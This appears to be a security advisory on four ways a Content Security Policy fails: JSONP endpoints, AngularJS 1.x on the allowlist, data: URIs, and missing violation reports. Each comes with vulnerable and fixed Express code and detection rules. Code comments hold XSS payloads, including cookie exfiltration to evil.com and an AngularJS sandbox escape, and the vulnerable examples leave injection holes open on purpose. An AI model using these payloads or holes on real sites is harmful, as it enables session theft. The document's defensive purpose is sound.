Claude skill Content Security Policy bypass — SA-SKL-CSP3
A Content Security Policy header is only as strong as the weakest origin in its allowlist. SA-SKL-CSP3 covers four patterns that render an otherwise correct CSP ineffective: including a JSONP endpoint in script-src allows attackers to request arbitrary JavaScript wrapped in that endpoint's callback; allowlisting an origin serving AngularJS 1.x enables client-side template injection via ng-app; permitting data: URIs in script-src allows inline JavaScript execution via data:text/javascript; and omitting report-uri or report-to leaves every CSP violation silent, blinding defenders to active exploitation.
How allowlist bypasses undermine CSP
The fundamental assumption behind a script-src allowlist is that every URL on that list serves only trusted, static JavaScript. The moment any origin on the allowlist serves content that is controlled by user input — whether via JSONP callback parameters, Angular template expressions, or unrestricted file hosting — the CSP provides no XSS protection for those injection vectors. The attack is not "bypassing" the CSP in the cryptographic sense; it is using the CSP's own allowlist against itself.
CSP allowlist bypasses are well catalogued in the CSP Evaluator project (csp-evaluator.withgoogle.com) and the PortSwigger Web Security Academy. For MCP skills that serve a companion web UI alongside an API, the CSP must cover the companion's HTML page as well as any inline frames or OAuth callbacks. A CSP deployed only on the main page but not on subpages, or deployed as Content-Security-Policy-Report-Only without enforcement, provides no protection at all.
SA-SKL-CSP3 in scope: CSP3-001 (JSONP endpoint on an allowlisted origin — callback parameter executes arbitrary JS), CSP3-002 (AngularJS 1.x on the allowlist — ng-app template expression injection), CSP3-003 (data: URI in script-src or img-src), CSP3-004 (missing report-uri/report-to — silent violations). Each finding includes SkillAudit detection rules and corrected policy or server configuration.
CSP3-001 — JSONP endpoint in script-src allowlist enables callback injection
An MCP skill's companion web app sets a Content-Security-Policy header with script-src 'self' https://api.skillaudit.dev. The api.skillaudit.dev domain hosts a legacy JSONP endpoint at /api/v1/users?callback=<name> that wraps the JSON response in the caller-supplied callback name. An attacker who can inject a <script> tag (or who tricks the user into clicking a link that injects one) can point it at https://api.skillaudit.dev/api/v1/users?callback=alert(document.cookie). The browser fetches the script from an allowlisted origin, so the CSP does not block it, and the callback body executes as JavaScript in the page context.
The fix has two components. First, remove JSONP endpoints entirely — they serve no purpose in a modern API that uses CORS. Second, if JSONP cannot be removed immediately, serve it from a separate sandboxed origin that is not in the companion app's script-src allowlist. Use strict-dynamic with nonces for the companion app instead of origin-based allowlisting, which eliminates the JSONP bypass vector at the policy level.
// VULNERABLE — Express JSONP endpoint on a domain in the companion app's script-src
import express from 'express';
const app = express();
// This endpoint exists on api.skillaudit.dev — same domain in companion's CSP script-src
// Companion CSP: "script-src 'self' https://api.skillaudit.dev"
app.get('/api/v1/users', (req, res) => {
const callback = req.query.callback as string | undefined;
const data = { users: ['alice', 'bob'] };
if (callback) {
// VULNERABLE: attacker requests:
// https://api.skillaudit.dev/api/v1/users?callback=fetch('https://evil.com/'+document.cookie)//
// Browser evaluates: fetch('https://evil.com/'+document.cookie)//({users:['alice','bob']})
// CSP allows this because the script origin is api.skillaudit.dev — in the allowlist
res.type('application/javascript');
res.send(`${callback}(${JSON.stringify(data)})`); // No sanitization of callback name
} else {
res.json(data);
}
});
// Companion app's Content-Security-Policy header (also vulnerable)
app.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy',
"default-src 'self'; script-src 'self' https://api.skillaudit.dev; object-src 'none'"
// api.skillaudit.dev hosts a JSONP endpoint → allowlist bypass
);
next();
});
// FIXED — remove JSONP endpoint; use strict-dynamic with nonces for script-src
import express from 'express';
import { randomBytes } from 'crypto';
const app = express();
// 1. Remove JSONP endpoint entirely — use CORS instead
app.get('/api/v1/users', (req, res) => {
// CORS handles cross-origin access control — no JSONP needed
res.json({ users: ['alice', 'bob'] });
});
// If JSONP truly cannot be removed: move it to a separate sandboxed origin
// (jsonp-sandbox.skillaudit.dev) that is NOT in the companion's script-src allowlist
// 2. CSP with strict-dynamic + per-request nonce (eliminates origin allowlist bypasses)
app.use((req, res, next) => {
const nonce = randomBytes(16).toString('base64');
// Attach nonce to res.locals so templates can inject it into <script nonce="..."> tags
res.locals.cspNonce = nonce;
res.setHeader(
'Content-Security-Policy',
[
"default-src 'self'",
// strict-dynamic: scripts loaded by a nonced script inherit trust — no origin allowlist
// 'unsafe-inline' is ignored when strict-dynamic is present (for older browsers: add nonce fallback)
`script-src 'nonce-${nonce}' 'strict-dynamic'`,
"object-src 'none'",
"base-uri 'none'",
"require-trusted-types-for 'script'",
// Report violations (see CSP3-004)
"report-to csp-endpoint",
].join('; ')
);
// Report-To header for Reporting API v1
res.setHeader('Report-To', JSON.stringify({
group: 'csp-endpoint',
max_age: 86400,
endpoints: [{ url: 'https://app.skillaudit.dev/api/csp-report' }],
}));
next();
});
script-src allowlist allows an attacker to inject a <script src="https://allowlisted-origin/jsonp?callback=PAYLOAD"> tag that executes arbitrary JavaScript in the page context without violating the CSP; fix by removing JSONP endpoints entirely and replacing them with CORS-enabled JSON endpoints, then switching to strict-dynamic with per-request nonces to eliminate origin-based allowlist bypass vectors. Detection: SkillAudit scans Content-Security-Policy headers for script-src allowlisted origins, then crawls those origins for endpoints that accept a callback, jsonp, or cb query parameter and return a application/javascript content type.CSP3-002 — AngularJS (Angular 1.x) in script-src allowlist enables template injection
AngularJS (Angular 1.x, not Angular 2+) processes HTML template expressions enclosed in double curly braces — {{ expression }} — and evaluates them as JavaScript-like expressions in the page context. If an attacker can inject HTML that contains an AngularJS template expression (via a stored XSS payload, an unsanitized user-controlled value rendered server-side, or a DOM-based injection), AngularJS will evaluate the expression even if 'unsafe-eval' is not in the CSP. AngularJS uses its own expression parser, not eval(), so the CSP's script-src 'unsafe-eval' restriction does not prevent it. The only condition for the bypass is that AngularJS itself loads from an origin in script-src — which is the case for any app that uses AngularJS via a CDN allowlisted in the policy.
CSP Evaluator flags any origin serving AngularJS 1.x as a known bypass. The fix is to upgrade to Angular 2+ (which does not support expression injection) or remove AngularJS from the allowlist entirely. If neither is immediately possible, replace the origin-based allowlist with strict-dynamic + nonces; strict-dynamic does not allowlist origins, so the JSONP and AngularJS bypasses are both eliminated even if those domains remain on the network.
// VULNERABLE — CSP allows a CDN that serves AngularJS 1.x
// Content-Security-Policy: script-src 'self' https://ajax.googleapis.com
// ajax.googleapis.com serves angular.min.js (Angular 1.x) — known CSP bypass
// HTML page (server-side rendered, unsanitized user value injected):
/*
<!-- CSP allows ajax.googleapis.com which serves AngularJS 1.x -->
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.8.3/angular.min.js"></script>
<div ng-app>
<!-- req.query.search is rendered server-side without sanitization -->
Search results for: {{ req.query.search }}
</div>
<!-- Attacker payload: ?search={{constructor.constructor('alert(1)')()}}
AngularJS evaluates the expression — CSP does NOT block it
because angular.min.js is from an allowlisted CDN origin -->
*/
// Express server rendering the vulnerable page
import express from 'express';
const app = express();
app.get('/search', (req, res) => {
res.setHeader('Content-Security-Policy',
"script-src 'self' https://ajax.googleapis.com"); // AngularJS CDN → bypass
// Server-side template rendering without output encoding
res.send(`
<html>
<body ng-app>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.8.3/angular.min.js"></script>
<p>Results for: ${req.query.search}</p>
</body></html>
`); // Both unencoded output AND AngularJS CDN combine for a complete bypass
});
// FIXED — remove AngularJS from allowlist; use strict-dynamic + nonce; encode output
import express from 'express';
import { randomBytes } from 'crypto';
import { escapeHtml } from './html-utils'; // Encodes < > & " ' to HTML entities
const app = express();
app.get('/search', (req, res) => {
const nonce = randomBytes(16).toString('base64');
// strict-dynamic replaces origin allowlist — no CDN origin needed
// This eliminates both AngularJS and JSONP bypass vectors
res.setHeader('Content-Security-Policy', [
"default-src 'self'",
`script-src 'nonce-${nonce}' 'strict-dynamic'`,
"object-src 'none'",
"base-uri 'none'",
].join('; '));
// Output encoding eliminates the injection vector that feeds AngularJS expressions
const safeQuery = escapeHtml(String(req.query.search ?? ''));
// All <script> tags must carry the nonce — inline scripts without nonce are blocked
res.send(`
<html>
<body>
<!-- Angular 1.x removed — upgrade to Angular 2+ or use vanilla JS -->
<script nonce="${nonce}" src="/static/app.js"></script>
<p>Results for: ${safeQuery}</p>
</body></html>
`);
});
script-src allows template expression injection via {{ constructor.constructor('alert(1)')() }} in any HTML content processed by the AngularJS expression parser, bypassing CSP without requiring 'unsafe-eval'; fix by removing AngularJS from the allowlist, upgrading to Angular 2+, and switching to strict-dynamic with per-request nonces to eliminate all CDN-origin bypass vectors. Detection: SkillAudit checks script-src allowlisted origins against the PortSwigger Angular CSP bypass database and flags any origin known to serve Angular 1.x library files.CSP3-003 — data: URI in script-src or img-src allows XSS execution
Including data: in the script-src directive allows attackers to inject <script src="data:text/javascript,alert(1)">, which the browser evaluates as an inline script without violating the CSP. The data: scheme is equivalent to 'unsafe-inline' for script-src purposes and is listed as an explicitly unsafe value in the CSP specification. Including data: in img-src is less critical for direct script execution, but it enables CSS injection attacks via <img src="data:image/svg+xml,<svg onload=alert(1)>"> in browsers that execute SVG scripts within images, and allows data exfiltration via pixel tracking in <img src="data:image/gif;base64,..."> loaded from an attacker-controlled context.
The fix is to remove data: from both script-src and img-src. For images that require data URIs (e.g., dynamically generated QR codes or charts), serve them from a dedicated /api/image endpoint that sets correct content types and validates the image format. For SVG images, serve them from a path with a strict Content-Type: image/svg+xml and ensure they are not embedded inline. Set object-src: 'none' to prevent data: URI execution via plugins.
// VULNERABLE — data: URI in script-src and img-src
// Content-Security-Policy set in Express middleware:
app.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy',
[
"default-src 'self'",
"script-src 'self' data:", // data: in script-src = 'unsafe-inline' equivalent
"img-src 'self' data: blob:", // data: in img-src allows SVG with onload scripts
"style-src 'self' 'unsafe-inline'",
"object-src 'none'",
].join('; ')
);
next();
});
// Attacker injection vector — any unsanitized HTML output lets attacker add:
// <script src="data:text/javascript,fetch('https://evil.com/?c='+document.cookie)"></script>
// This is allowed by script-src because the scheme is 'data:' — explicitly in the allowlist
// Also vulnerable via DOM-based injection:
// document.write('<script src="data:text/javascript,' + userInput + '"></script>');
// FIXED — remove data: from both script-src and img-src; serve images from API endpoint
import express from 'express';
import { randomBytes } from 'crypto';
import sharp from 'sharp'; // Server-side image processing
const app = express();
app.use((req, res, next) => {
const nonce = randomBytes(16).toString('base64');
res.locals.cspNonce = nonce;
res.setHeader(
'Content-Security-Policy',
[
"default-src 'self'",
`script-src 'nonce-${nonce}' 'strict-dynamic'`, // No data: or CDN origins
"img-src 'self' https:", // No data: — only https URLs and self
"style-src 'self'", // No unsafe-inline
"object-src 'none'",
"base-uri 'none'",
"require-trusted-types-for 'script'",
].join('; ')
);
next();
});
// Serve dynamically generated images from an API endpoint instead of data: URIs
app.get('/api/image/qr', async (req, res) => {
const content = String(req.query.content ?? '').slice(0, 500);
// Generate QR code as PNG via a library — serve as proper image response
const qrPng = await generateQrCode(content); // Returns Buffer
// Validate it is actually a valid PNG before serving
const metadata = await sharp(qrPng).metadata();
if (metadata.format !== 'png') {
return res.status(400).send('Invalid image format');
}
res.setHeader('Content-Type', 'image/png');
res.setHeader('Content-Disposition', 'inline');
res.setHeader('X-Content-Type-Options', 'nosniff');
res.send(qrPng);
});
data: scheme in script-src is equivalent to 'unsafe-inline' and allows injection of <script src="data:text/javascript,PAYLOAD"> without a CSP violation; data: in img-src allows SVG-based script execution and data exfiltration; fix by removing data: from all CSP directives and serving dynamic images from an authenticated API endpoint with explicit content-type validation. Detection: SkillAudit flags Content-Security-Policy headers where script-src or img-src contains the token data:.CSP3-004 — Missing report-uri/report-to — CSP violations are silent
A Content-Security-Policy header without a report-uri or report-to directive enforces the policy but generates no violation reports. When an attacker attempts a CSP bypass — loading a JSONP callback, injecting an AngularJS expression, or requesting a data: URI script — the browser blocks the request and fires an internal violation event, but that event goes nowhere. Defenders have no visibility into whether the CSP is functioning, whether a bypass is being actively exploited, or whether a legitimate application feature is broken by the policy. Without violation reporting, CSP becomes a silent guardian that provides no feedback loop for tuning or for incident detection.
The Reporting API v1 (report-to) supersedes the deprecated report-uri directive. Both should be deployed together for compatibility with older browsers. The report endpoint must be authenticated and rate-limited to prevent report flooding. CSP violation reports include the blocked URI, the violated directive, the source file and line number, and the page URL — sufficient to distinguish legitimate policy breakage from active attack attempts.
// VULNERABLE — CSP without any report-uri or report-to
// All violations are silently blocked — no feedback for defenders
app.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy',
[
"default-src 'self'",
"script-src 'self'",
"img-src 'self' https:",
"style-src 'self'",
"object-src 'none'",
"base-uri 'none'",
// Missing: report-uri and/or report-to
// If a JSONP bypass attempt is made: browser blocks it silently
// If a legitimate script is broken by the CSP: no way to detect it
// If an attacker is probing bypass vectors: entirely invisible to defenders
].join('; ')
);
next();
});
// No violation report handler exists because there's no report-uri in the policy
// Operations team has no dashboard for CSP violation frequency or patterns
// FIXED — add report-to and report-uri; implement report handler with rate limiting
import express from 'express';
import { randomBytes } from 'crypto';
import { z } from 'zod';
const app = express();
// Rate limiter for the CSP report endpoint (simple in-memory, use Redis in production)
const reportCounts = new Map<string, number>();
setInterval(() => reportCounts.clear(), 60_000); // Reset counts every minute
function rateLimitReports(ip: string): boolean {
const count = (reportCounts.get(ip) ?? 0) + 1;
reportCounts.set(ip, count);
return count <= 50; // Max 50 reports per minute per IP
}
app.use((req, res, next) => {
const nonce = randomBytes(16).toString('base64');
res.locals.cspNonce = nonce;
// report-to (Reporting API v1) + report-uri (legacy fallback)
res.setHeader(
'Content-Security-Policy',
[
"default-src 'self'",
`script-src 'nonce-${nonce}' 'strict-dynamic'`,
"img-src 'self' https:",
"style-src 'self'",
"object-src 'none'",
"base-uri 'none'",
"report-to csp-violations", // Reporting API v1
"report-uri /api/csp-report", // Legacy fallback
].join('; ')
);
// Report-To header required for report-to directive
res.setHeader('Report-To', JSON.stringify({
group: 'csp-violations',
max_age: 86400,
endpoints: [{ url: 'https://app.skillaudit.dev/api/csp-report' }],
include_subdomains: false,
}));
next();
});
// CSP violation report handler
const CspReportSchema = z.object({
'csp-report': z.object({
'document-uri': z.string().optional(),
'blocked-uri': z.string().optional(),
'violated-directive': z.string().optional(),
'source-file': z.string().optional(),
'line-number': z.number().optional(),
}).passthrough(),
}).passthrough();
app.post('/api/csp-report',
express.json({ type: ['application/json', 'application/csp-report'] }),
(req, res) => {
const clientIp = req.ip ?? 'unknown';
if (!rateLimitReports(clientIp)) {
return res.status(429).end();
}
const result = CspReportSchema.safeParse(req.body);
if (!result.success) return res.status(400).end();
const report = result.data['csp-report'];
// Log to observability pipeline — alert if violated-directive is script-src
// and blocked-uri matches known bypass patterns (JSONP, AngularJS CDN, data:)
console.log('CSP violation:', JSON.stringify({
blockedUri: report['blocked-uri'],
violatedDirective: report['violated-directive'],
documentUri: report['document-uri'],
sourceFile: report['source-file'],
timestamp: new Date().toISOString(),
}));
res.status(204).end();
}
);
Content-Security-Policy without report-uri or report-to silently enforces policy violations with no feedback to defenders; active CSP bypass attempts, broken legitimate features, and misconfigured policies are all invisible; fix by adding both report-to <group> (Reporting API v1) and report-uri /api/csp-report (legacy fallback), implementing a rate-limited report handler, and alerting on script-src violations that match known bypass patterns. Detection: SkillAudit flags Content-Security-Policy headers where neither report-uri nor report-to is present in the directive list.Detection summary
| ID | Severity | Pattern | Fix |
|---|---|---|---|
| CSP3-001 | HIGH | JSONP endpoint on a script-src allowlisted origin — ?callback=PAYLOAD executes arbitrary JS in page context |
Remove JSONP endpoints; use CORS; switch to strict-dynamic + nonces |
| CSP3-002 | HIGH | AngularJS 1.x served from an allowlisted CDN — ng-app template expression injection bypasses CSP without 'unsafe-eval' |
Remove AngularJS from allowlist; upgrade to Angular 2+; use strict-dynamic |
| CSP3-003 | HIGH | data: in script-src — equivalent to 'unsafe-inline'; allows data:text/javascript XSS |
Remove data: from all CSP directives; serve dynamic images from API endpoint |
| CSP3-004 | MEDIUM | No report-uri or report-to — all CSP violations silent; bypass attempts invisible to defenders |
Add report-to + report-uri; implement rate-limited handler; alert on script-src violations |
Related patterns: CSP nonce security covers correct per-request nonce generation and injection for strict-dynamic policies. SVG/XML injection covers SVG content that can bypass CSP via <script> elements inside SVG. SA-SKL-REDIRECT1 covers open redirect vulnerabilities that can be chained with CSP bypasses to load scripts from allowlisted origins.